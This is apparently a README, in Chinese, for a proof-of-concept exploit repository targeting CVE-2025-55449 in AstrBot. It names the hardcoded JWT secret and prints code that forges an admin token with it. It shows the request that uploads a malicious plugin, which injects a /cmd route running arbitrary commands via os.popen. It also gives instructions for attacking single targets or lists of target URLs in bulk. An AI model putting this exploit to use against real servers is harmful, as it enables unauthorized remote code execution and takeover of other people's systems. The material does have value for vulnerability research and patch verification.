
CVE-2025-55449 EXP
本仓库包含针对 CVE-2025-55449 的概念验证利用代码,该漏洞是 AstrBot 中的一个严重远程代码执行 (RCE) 漏洞。攻击者能够利用薄弱的 JWT 认证机制和插件安装机制,在目标系统上执行任意代码。
该漏洞存在的原因如下:
硬编码的 JWT Secret Key:AstrBot 在认证中使用硬编码的 JWT 密钥 (Advanced_System_for_Text_Response_and_Bot_Operations_Tool),使得攻击者能够伪造有效的认证令牌。
不受限制的插件安装:/api/plugin/install-upload 端点允许经过认证的用户上传和安装插件,但缺乏适当的验证,从而可以执行任意 Python 代码。
通过插件系统执行代码:插件系统允许插件修改应用程序的路由,并通过 Flask/Quart 应用程序实例执行任意命令。
JWT 令牌伪造:利用硬编码的密钥,使用管理员权限伪造 JWT 令牌。
代码执行漏洞:后端的远程代码执行漏洞利用了应用程序内置的插件扩展功能,允许用户上传自定义插件包。程序解压包、读取插件信息、导入对象的 Python 文件并执行代码。
1. 使用硬编码密钥伪造 JWT 令牌
2. 创建恶意插件 ZIP 文件
3. 使用伪造的令牌向 /api/plugin/install-upload 发送 POST 请求
4. 插件被安装并添加 /cmd 端点
5. 通过 /cmd?cmd=<command> 执行命令
jwt (PyJWT)requestszipfile (内置)argparse (内置)datetime (内置)pathlib (内置)git clone <仓库地址>
cd CVE-2025-55449
pip install PyJWT requests
针对单个目标 URL 执行利用:
python main.py http://目标IP:端口
创建一个文件 (ip.txt),每行一个 URL:
http://target1:6185
http://target2:6185
http://target3:6185
然后运行:
python main.py -r ip.txt
成功利用后,脚本会输出:
http://目标IP:端口/cmd?cmd=id
然后你可以通过访问以下地址来执行命令:
http://目标IP:端口/cmd?cmd=<你的命令>
例如:
http://目标IP:端口/cmd?cmd=whoami
http://目标IP:端口/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # 主利用脚本
├── ip.txt # 示例目标 URL 文件
├── README.md # 本文件
└── helloworld/ # 恶意插件目录
├── main.py # 添加 /cmd 端点的插件代码
├── metadata.yaml # 插件元数据
├── LICENSE # 插件许可证
└── README.md # 插件自述文件
利用脚本使用硬编码的 JWT 密钥创建一个有效的认证令牌:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
该插件 (helloworld/main.py) 利用 Python 的导入系统和 Flask/Quart 的应用程序实例注入一条新路由:
# 插件找到 Quart 应用程序实例,并添加 /cmd 路由
# 该路由通过 os.popen() 执行任意命令
利用脚本将插件打包为 ZIP 文件,并通过认证端点上传:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)